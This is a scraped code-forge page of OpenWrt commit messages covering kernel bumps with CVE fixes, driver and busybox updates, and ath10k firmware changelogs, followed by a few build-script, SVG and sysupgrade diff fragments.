Enable support for latency based cgroup IO protection (BLK_CGROUP_IOLATENCY) [N/y/?] (NEW)
Signed-off-by: Petr Štetiar <ynezz@true.cz>
It's just copy of 4.14 and will be refreshed in the upcoming commit,
renamed config-default to config-4.14 as well.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Refreshed all patches.
Fixes:
- CVE-2019-11479
- CVE-2019-11478
- CVE-2019-11477
Also fix a malformed patch issue caught during refresh.
It was caused by removing a whitespace without altering
the index values in a patch which alters a patch.
Compile-tested on: cns3xxx
Runtime-tested on: cns3xxx
Fixes: cf65262492 ("kernel: bump 4.19 to 4.19.51")
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Refreshed all patches.
Altered patches:
- 370-netfilter-nf_flow_table-fix-offloaded-connection-tim.patch
- 220-optimize_inlining.patch
- 640-netfilter-nf_flow_table-add-hardware-offload-support.patch
This patch also restores the initial implementation
of the ath79 perfcount IRQ issue. (78ee6b1a40)
It was wrongfully backported upstream initially and got reverted now.
Compile-tested on: cns3xxx, imx6
Runtime-tested on: cns3xxx, imx6
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Refreshed all patches.
Altered patches:
- 220-optimize_inlining.patch
- 816-pcie-support-layerscape.patch
This patch also restores the initial implementation
of the ath79 perfcount IRQ issue. (78ee6b1a40)
It was wrongfully backported upstream initially and got reverted now.
Compile-tested on: ar71xx, cns3xxx, imx6, x86_64
Runtime-tested on: ar71xx, cns3xxx, imx6
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Lets make it really explicit, that we should now focus only on ath79 in
order to make it ready for next release, where ar71xx is going to be
removed for good.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Move all MikroTik devices to new function to increase script execution
speed.
Machine name in new version of MikroTik RouterBOARD devices add "RB"
before model name:
Old machine name: MikroTik RouterBOARD 951Ui-2nD
New: MikroTik RouterBOARD RB951Ui-2nD
So this patch should fix it for all currently supported MikroTik boards.
Signed-off-by: Henryk Heisig <hyniu@o2.pl>
[rebased,commit message facelift,script fixes]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
[spotted missing 922UAGS-5HPacD]
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
While testing 4.19 build on malta/be64, I've encountered following
error:
gpio-button-hotplug/gpio-button-hotplug.c:529:18: error: implicit
declaration of function 'gpio_to_desc'
which is caused by the missing include fixed by this patch.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Signed-off-by: Marko Ratkaj <marko.ratkaj@sartura.hr>
[added sfp related patches from Russell King]
Signed-off-by: Marek Behún <marek.behun@nic.cz>
[rebase; rework patches; separate and cleanup kernel configs;
add espessobin dts; adjust venom dts]
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Supports EIP97 and EIP197 found on Armada 37xx, 7k and 8k SoCs.
Unfortunately firmware for EIP197 is not easily obtainable, therefore
to not cause lot of user requests directed at OpenWrt, package it as
module with explanation where to obtain the firmware.
Cc: Marek Behún <marek.behun@nic.cz>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
It's needed for applying some hardware quirks. This fixes:
drivers/net/wireless/broadcom/brcm80211/brcmfmac/dmi.c:60:20: error: 'DMI_PRODUCT_SKU' undeclared here (not in a function); did you mean 'DMI_PRODUCT_UUID'?
DMI_EXACT_MATCH(DMI_PRODUCT_SKU, "T8"),
Fixes: 8888cb725d ("mac80211: brcm: backport remaining brcmfmac 5.2 patches")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
7ffc239b Bump up version number to 1.39.1
bc886a0e Fix FPE with default backend
a3a14a9c Fix log-level is not set with cmd-line or configuration file
acfb3607 Update manual pages
bdfd14c2 Bump up version number to 1.39.0, LT revision to 31:4:17
cddc09fe Update AUTHORS
3c3b6ae8 Add missing colon
2f83aa9e Fix multi-line text travis issue
fc591d0c Run nghttpx integration test with cmake build
9a17c3ef travis: use multi-line text
b7220f07 cmake: Remove SPDY related files
a1556fd1 Merge pull request #1356 from nghttp2/fix-log-level-on-reload
77f1c872 nghttpx: Fix unchanged log level on configuration reload
49ce44e1 Merge pull request #1352 from nghttp2/travis-osx
f54b3ffc Fix libxml2 CFLAGS output
b0f5e5cc Implement daemon() using fork() for OSX
8d6ecd66 Enable osx build on travis
f82fb521 Update doc
2e1975dd clang-format-8
97ce392b Merge pull request #1347 from nghttp2/nghttpx-ignore-cl-te-on-upgrade
afefbda5 Ignore content-length in 200 response to CONNECT request
4fca2502 nghttpx: Ignore Content-Length and Transfer-Encoding in 1xx or 200 to CONNECT
6975c336 Update llhttp to 1.1.3
0288093c Fix llhttp_get_error_pos usage
a3a03481 Merge pull request #1340 from nghttp2/nghttpx-llhttp
c64d2573 Replace http-parser with llhttp
f028cc43 clang-format
302e3746 Merge pull request #1337 from nghttp2/upgrade-mruby
3cdbc5f5 Merge pull request #1335 from adamgolebiowski/boost-1.70
a6925186 Fix mruby build error
45d63d20 Upgrade mruby to 2.0.1
cbba1ebf asio: support boost-1.70
e86d1378 Bump up version number to 1.39.0-DEV
4a9d2005 Update manual pages
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Also the other type is worng and causes compile problems on ARM64
platforms.
Fixes: 9b53201d9c ("urngd: Fix wrong type in format string")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
err_free_stats has been deprecated. Replace with err_netdev.
Compile-tested on: mvebu
Runtime-tested on: mvebu
Fixes: a7e68927d0 ("kernel: bump 4.14 to 4.14.125 (FS#2305 FS#2297)")
Signed-off-by: George Amanakis <gamanakis@gmail.com>
This improves FullMAC firmware compatibility, adds logging in case of
firmware crash and *may* fix "Invalid packet id" errors.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This will reduce the size of the kernel if CONFIG_CC_OPTIMIZE_FOR_SIZE is
set like for all targets with small_flash feature flag.
I haven't seen any changes for an ARM64 target which optimizes the
kernel for speed instead.
On the ath79/tiny target the uncompressed kernel size was reduced by
3.2% and the compressed kernel size by 2.1%
kernel size with CONFIG_OPTIMIZE_INLINING=n
4346412 build_dir/target-mips_24kc_musl/linux-ath79_tiny/vmlinux
1391169 build_dir/target-mips_24kc_musl/linux-ath79_tiny/tplink_tl-wr941-v4-kernel.bin
Kernel size with CONFIG_OPTIMIZE_INLINING=y
4212396 build_dir/target-mips_24kc_musl/linux-ath79_tiny/vmlinux
1362051 build_dir/target-mips_24kc_musl/linux-ath79_tiny/tplink_tl-wr941-v4-kernel.bin
This change is currently pending for kernel 5.2 and already in
linux-next, this updates our patch to match the upstream version.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
9dd2dcf libubox: add format string checking to ulog()
ecf5617 ustream: Add format string checks to ustream_(v)printf()
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Most of the patches are copied over from GCC 8.3.
The following patches are backported from the GCC 9.X development branch:
toolchain/gcc/patches/9.1.0/970-recompute-dom-fast-queries-before-vn.patch
toolchain/gcc/patches/9.1.0/975-g++-ICE-with-generic-lambda.patch
The specs file changed with gcc 9, now it contains "%@{L*}" instead of
"%{L*}" in older GCC versions.
Signed-off-by: Joseph Benden <joe@benden.us>
GCC 9.1 complains about this wrong type used in the format string, fix
this to make the compiler happy.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
FCC allows maximum antenna gain of 6 dBi. 15.247(b)(4):
> (4) The conducted output power limit
> specified in paragraph (b) of this section
> is based on the use of antennas
> with directional gains that do not exceed
> 6 dBi. Except as shown in paragraph
> (c) of this section, if transmitting
> antennas of directional gain greater
> than 6 dBi are used, the conducted
> output power from the intentional radiator
> shall be reduced below the stated
> values in paragraphs (b)(1), (b)(2),
> and (b)(3) of this section, as appropriate,
> by the amount in dB that the
> directional gain of the antenna exceeds
> 6 dBi.
https://www.gpo.gov/fdsys/pkg/CFR-2013-title47-vol1/pdf/CFR-2013-title47-vol1-sec15-247.pdf
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Most of the txpower for the ath10k firmware is stored as twicepower (0.5 dB
steps). This isn't the case for max_antenna_gain - which is still expected
by the firmware as dB.
The firmware is converting it from dB to the internal (twicepower)
representation when it calculates the limits of a channel. This can be seen
in tpc_stats when configuring "12" as max_antenna_gain. Instead of the
expected 12 (6 dB), the tpc_stats shows 24 (12 dB).
Tested on QCA9888 and IPQ4019 with firmware 10.4-3.5.3-00057.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
FCC allows maximum antenna gain of 6 dBi. 15.247(b)(4):
> (4) The conducted output power limit
> specified in paragraph (b) of this section
> is based on the use of antennas
> with directional gains that do not exceed
> 6 dBi. Except as shown in paragraph
> (c) of this section, if transmitting
> antennas of directional gain greater
> than 6 dBi are used, the conducted
> output power from the intentional radiator
> shall be reduced below the stated
> values in paragraphs (b)(1), (b)(2),
> and (b)(3) of this section, as appropriate,
> by the amount in dB that the
> directional gain of the antenna exceeds
> 6 dBi.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Cherry-picked from CAF QSDK repo.
see 090-ipq40xx-fix-high-resolution-timer.patch
Original commit message:
The kernel is failing in switching the timer for high resolution
mode and clock source operates in 10ms resolution. The always-on
property needs to be given for timer device tree node to make
clock source working in 1ns resolution.
Signed-off-by: Pavel Kubelun <be.dissent@gmail.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[changed authorship of main patch to pavel and cherry-picked
patch to Abhishek Sahu]
This should align opp table with what it was before converting to OPP v2.
Signed-off-by: Pavel Kubelun <be.dissent@gmail.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Memory is allocated with devm_kzalloc() on every page program
and leaks until device is closed (which never happens).
Convert to kzalloc() and handle error paths manually.
Signed-off-by: Mantas Pucka <mantas@8devices.com>
The squashfs+jffs2 root filesystem only came up as read-only
and the config would not take:
[ 25.600237] mount_root: Could not open mtd device: /dev/mtd4
[ 25.634674] mount_root: reading rootfs_data failed
[ 25.665346] mount_root: Could not open mtd device: /dev/mtd3
[ 25.699802] mount_root: reading rootfs failed
[ 25.726426] mount_root: mounting /dev/root
Well that is not very strange since the whole firmware partition
is made read-only in the device tree. Let's fix that by augmenting
the OpenWrt patch.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
The DIR-685 has the MAC addresses in the RedBoot code just like
DNS-313. Check some magic numbers to determine that the MAC
address is where we want it and extract it from RedBoot.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[replaced ifconfig with ip, ! -z = -n, added string quotes]
The DNS-313 isn't the only special board so let's bite the
bullet and create a case ladder in preparation for DIR-685.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com> [refreshed]
This simplifies the ethernet address extraction script
by using standard library functions to locate the MTD
partitions and extract ethernet address from a binary
offset location in the flash. Furthermore, the aging
ifconfig is replaced by the ip tool, which will now
assign the MAC addresses.
Suggested-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[ifconfig replacement, use -n instead of ! -z,
-n requires string to be quoted within the test brackets,
drop prepended "x" in check, add quotes, make local
variables local, kill whitespaces]
CONFIG_PACKET is a important feature to have.
The Packet protocol is used by applications which
communicate directly with network devices without
an intermediate network protocol implemented in
the kernel, e.g. tcpdump and ip.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
* Update busybox to version 1.31.0.
New applets: ts, i2ctransfer
New (restored) feature: error/info levels in syslog messages.
Leave new features disabled by default.
* Refresh patches
* Remove patch that was backported from upstream
Config refreshed with commands below, after which the OpenWrt specific
config defaults (ipv6, login session child) were corrected:
make package/busybox/compile (to populate the build_dir)
cd package/utils/busybox/config/
../convert_menuconfig.pl ../../../../build_dir/target-mips_24kc_musl/busybox-1.31.0
cd package/utils/busybox
./convert_defaults.pl < ../../../build_dir/target-mips_24kc_musl/busybox-1.31.0/.config > Config-defaults.in
Signed-off-by: Hannu Nyman <hannu.nyman@iki.fi>
Add proto_add_host_dependency to add a dependency to the tunlink interface
Signed-off-by: André Valentin <avalentin@marcant.net>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com> [PKG_RELEASE increase]
Now that busybox is a known alternatives provider by opkg, we remove the
ALTERNATIVES spec and add a note to make the implicit situation clear
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Opkg starting from this version special-cases busybox as alternatives
provider. There should be no need to add entries to ALTERNATIVES of
busybox package
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Kernel 4.19.47 added a new kernel config symbol ARM64_ERRATUM_1463225.
This causes a build failure for sunxi/cortexa53. Add the symbol to the
generic config to fix this, and avoid future build failures on other
arm64 targets that expose this symbol. As the erratum only affects
Cortex-A76 cores, we can safely disable it.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
wave-1:
2019-05-09: Tweak rate-ctrl: Ramp PER up faster, down slower. This
helps throughput in rate-vs-range test, especially with
nss1.
2019-05-20: Disable adaptive-CCA. I am not sure it helps, and it may
make it slower to detect noise that should tell the system
to stop transmitting. If someone has means to test this
properly, I'd be happy to work with them.
wave-2:
2019-05-15: Fix problem where rate-ctrl sometimes used rix of 0x0.
2019-05-15: Allow raw-tx of encrypted frame. Requires a patch to the
driver to use raw mode when skb has WEP flag enabled AND
skb is flagged to not be encrypted. Lightly tested.
2019-05-16: Fix tx-hang that happened when rate-ctrl chose an OFDM rate
for 20Mhz and sent that as AMPDU. To fix, limit to (V)HT
rates if peer is (V)HT. It seems that MCS0 (V)HT20 should
have as good of a chance of being detected as CCK or OFDM.
2019-06-06: Disable TX-BFEE, TX-BFER for IBSS connections. I suspect
this is part of the tx-hang issue seen with IBSS between
two 9984 radios.
2019-06-12: Fix rx-rate reporting in 'fw_stats' logic. This was at
least partly due to regressions I had added earlier when
working on some multi-vdev enhancements.
2019-6-12: Fix case where extd peer-stats were not always populated.
The stats gathering code did not handle error conditions
well.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Changes:
ath10k: Improve PMF/MPF mgt frame check
And add a driver for 5.2 (beta, not even tested yet) kernel.
Refresh patches.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
enable kernel features needed for procd-ujail, procd-seccomp, lxc and
more on devices with big enough flash. Those packages are currently
useless in binary builds due to missing kernel features.
Enable the features on devices which can bare with the extra space
consumption.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Refreshed all patches.
This bump contains upstream commits which seem to avoid (not properly fix)
the errors as seen in FS#2305 and FS#2297
Altered patches:
- 403-net-mvneta-convert-to-phylink.patch
- 410-sfp-hack-allow-marvell-10G-phy-support-to-use-SFP.patch
Compile-tested on: ar71xx, cns3xxx, imx6, mvebu, x86_64
Runtime-tested on: ar71xx, cns3xxx, imx6, x86_64
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
urandom-seed content was split from base-files into separate package so
in order to preserve the current functionality and to provide some
fallback mechanism in case jent-rng initialization fails in urngd we
need to add it back.
urngd is OpenWrt's micro non-physical true random number generator based
on timing jitter.
Tested-by: Lucian Cristian <lucian.cristian@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
μrngd is OpenWrt's micro non-physical true random number generator based
on timing jitter.
Using the Jitter RNG core, the rngd provides an entropy source that
feeds into the Linux /dev/random device if its entropy runs low. It
updates the /dev/random entropy estimator such that the newly provided
entropy unblocks /dev/random.
The seeding of /dev/random also ensures that /dev/urandom benefits from
entropy. Especially during boot time, when the entropy of Linux is low,
the Jitter RNGd provides a source of sufficient entropy.
Tested-by: Lucian Cristian <lucian.cristian@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
2019-06-11 08:06:28 +02:00
10956 changed files with 1080324 additions and 1021678 deletions
echo-e"$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_LZO),CONFIG_INITRAMFS_COMPRESSION_LZO=y\nCONFIG_RD_LZO=y,# CONFIG_INITRAMFS_COMPRESSION_LZO is not set\n# CONFIG_RD_LZO is not set)">>$(LINUX_DIR)/.config
echo-e"$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_XZ),CONFIG_INITRAMFS_COMPRESSION_XZ=y\nCONFIG_RD_XZ=y,# CONFIG_INITRAMFS_COMPRESSION_XZ is not set\n# CONFIG_RD_XZ is not set)">>$(LINUX_DIR)/.config
echo-e"$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_LZ4),CONFIG_INITRAMFS_COMPRESSION_LZ4=y\nCONFIG_RD_LZ4=y,# CONFIG_INITRAMFS_COMPRESSION_LZ4 is not set\n# CONFIG_RD_LZ4 is not set)">>$(LINUX_DIR)/.config
echo-e"$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_ZSTD),CONFIG_INITRAMFS_COMPRESSION_ZSTD=y\nCONFIG_RD_STD=y,# CONFIG_INITRAMFS_COMPRESSION_ZSTD is not set\n# CONFIG_RD_ZSTD is not set)">>$(LINUX_DIR)/.config
d="m 0,0 c 0,-4.099 -3.174,-6.894 -6.591,-6.894 -1.829,0 -3.308,0.523 -4.438,1.41 v -8.329 H -14.58 V 6.528 h 3.552 V 5.484 C -9.898,6.397 -8.419,6.92 -6.59,6.92 -3.174,6.92 0,4.1 0,0 m -3.443,0 c 0,2.402 -1.614,3.917 -3.766,3.917 -1.91,0 -3.82,-1.515 -3.82,-3.917 0,-2.402 1.91,-3.889 3.82,-3.889 2.152,-0.002 3.766,1.486 3.766,3.889"
d="m 0,0 h -10.222 c 0.349,-1.88 1.721,-3.029 3.362,-3.029 1.049,0 2.367,0.131 3.336,1.723 l 3.174,-0.652 c -1.183,-2.716 -3.577,-4.022 -6.51,-4.022 -3.793,0 -6.887,2.794 -6.887,6.894 0,4.099 3.094,6.918 6.94,6.918 3.578,0 6.671,-2.689 6.806,-6.659 z m -10.115,2.429 h 6.485 c -0.457,1.671 -1.749,2.402 -3.174,2.402 -1.347,0 -2.88,-0.784 -3.311,-2.402"
d="m 0,0 v -7.938 h -3.551 v 7.207 c 0,1.827 -1.076,3.055 -2.717,3.055 -2.017,0 -3.335,-1.306 -3.335,-4.492 v -5.77 h -3.551 v 13.03 h 3.55 V 3.917 c 1.049,1.018 2.447,1.566 4.223,1.566 C -2.152,5.483 0,3.238 0,0"
d="M 0,0 H -2.851 L -7.854,12.874 -12.885,0 h -2.824 l -6.699,19.846 h 3.82 l 4.492,-13.109 5.138,13.109 h 2.179 L -1.641,6.737 2.851,19.846 h 3.846 z"
d="m 0,0 -0.188,-3.316 h -0.78 c -3.282,0 -4.789,-1.959 -4.789,-5.588 v -4.204 h -3.551 v 13.03 h 3.551 V -2.35 c 0.996,1.515 2.556,2.454 4.816,2.454 0.349,0 0.618,0 0.941,-0.104"
d="m 0,0 c 0,-1.279 0.619,-1.985 1.695,-1.985 0.618,0 1.533,0.262 2.234,0.627 L 4.952,-4.23 C 3.553,-4.961 2.584,-5.197 1.455,-5.197 c -3.201,0 -5.004,1.776 -5.004,4.937 v 5.665 h -2.879 v 2.821 h 2.879 v 4.726 l 3.55,1.045 V 8.226 H 5.193 V 5.405 H 0 Z"
d="M 0,0 -0.7,0.801 H -1.449 V 0 H -2.41 v 3.689 h 1.771 c 1,0 1.605,-0.573 1.605,-1.427 0,-0.549 -0.255,-0.991 -0.695,-1.238 L 1.206,0 Z m -0.675,1.602 c 0.4,0 0.73,0.262 0.73,0.66 0,0.388 -0.33,0.628 -0.73,0.628 H -1.449 V 1.604 Z"
d="M 0,0 -0.7,0.801 H -1.45 V 0 h -0.96 v 3.689 h 1.77 c 1,0 1.605,-0.573 1.605,-1.427 C 0.965,1.713 0.71,1.271 0.27,1.024 L 1.205,0 Z m -0.675,1.602 c 0.4,0 0.73,0.262 0.73,0.66 0,0.388 -0.33,0.628 -0.73,0.628 H -1.45 V 1.604 Z"
d="M 0,0 C 1.21,0 2.01,-0.739 2.01,-1.844 2.01,-2.95 1.211,-3.689 0,-3.689 H -1.695 V 0 Z m -0.01,-2.888 c 0.655,0 1.055,0.417 1.055,1.044 0,0.626 -0.4,1.043 -1.055,1.043 h -0.723 v -2.087 z"
d="M 0,0 -0.99,1.042 H -1.398 V 0 h -0.455 v 2.468 h 0.95 c 0.533,0 0.856,-0.296 0.856,-0.712 0.008,-0.283 -0.169,-0.54 -0.441,-0.642 L 0.569,0 Z m -0.903,1.441 c 0.267,0 0.405,0.137 0.405,0.315 0,0.179 -0.141,0.311 -0.405,0.311 H -1.398 V 1.44 Z"
v "The device is supported, but the config is incompatible to the new image ($devicecompat->$imagecompat). Please upgrade without keeping config (sysupgrade -n)."
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.